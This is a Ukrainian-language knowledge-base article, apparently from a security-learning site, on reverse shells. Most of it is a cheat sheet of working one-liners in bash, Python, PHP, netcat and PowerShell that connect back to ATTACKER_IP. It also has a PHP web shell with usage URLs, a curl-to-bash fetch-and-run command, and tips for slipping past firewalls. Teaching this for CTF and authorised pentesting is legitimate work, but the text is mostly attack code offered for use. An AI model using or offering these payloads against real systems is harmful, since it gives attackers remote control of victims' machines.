KB / Статті / Reverse Shell: теорія та практика
UA EN

Reverse Shell: теорія та практика

✍ admin 📅 11.06.2026 👁 123 переглядів

Що таке Reverse Shell?

У звичайному сценарії атакуючий підключається до жертви (bind shell). Але найчастіше на жертві є firewall, який блокує вхідні з'єднання.

Reverse shell вирішує цю проблему: жертва сама підключається до атакуючого. Вихідні з'єднання зазвичай не блокуються — і shell «виходить» назовні.

Bind shell:    Атакуючий → (blocked) → Жертва
Reverse shell: Атакуючий ← Жертва

Підготовка: запуск listener

Перш ніж отримати reverse shell — запустіть listener на своїй машині:

# Netcat
nc -lvnp 4444

# Rlwrap для кращого TTY (стрілки, Ctrl+C)
rlwrap nc -lvnp 4444

Порт 4444 — стандарт для CTF, але можна будь-який. На реальному пентесті 80/443 — менш підозрілі.

Одно-рядкові reverse shells

Bash

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Альтернатива через /bin/sh
sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Якщо перший не працює
exec 5<>/dev/tcp/ATTACKER_IP/4444; cat <&5 | while read line; do $line 2>&5 >&5; done

Python

# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Python 2
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'

PHP

php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Якщо є можливість завантажити файл
<?php system($_GET['cmd']); ?>

Netcat

# Класичний (якщо є -e)
nc ATTACKER_IP 4444 -e /bin/bash

# Без -e (busybox або mkfifo)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f

PowerShell (Windows)

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Апгрейд shell до повноцінного TTY

Після отримання shell він часто «сирий» — без Tab-completion, без Ctrl+C, без стрілок.

# Крок 1: spawn PTY через Python
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Крок 2: Ctrl+Z (background shell)

# Крок 3: На своїй машині
stty raw -echo; fg

# Крок 4: У shell жертви
export TERM=xterm
stty rows 38 columns 116

Веб-шелли

Якщо є можливість завантажити файл на веб-сервер:

<!-- Простий webshell -->
<?php echo shell_exec($_GET['cmd']); ?>

<!-- Використання -->
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=which+nc

Після отримання RCE через webshell — запускаємо reverse shell командою з таблиці вище.

Генератор: RevShells

Сайт revshells.com генерує команди під будь-яку мову та ОС — просто введіть IP і порт.

Обхід обмежень

# Якщо блокується /dev/tcp — спробуйте curl/wget
curl http://ATTACKER:8080/shell.sh | bash

# Якщо блокується виходячий трафік — спробуйте порти 80, 443, 53
nc ATTACKER_IP 443 -e /bin/bash

# DNS reverse shell (для обходу жорстких firewall)
# Через dnscat2 або iodine
Коментарі (0)
Увійди, щоб залишити коментар.
Коментарів поки немає.
Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?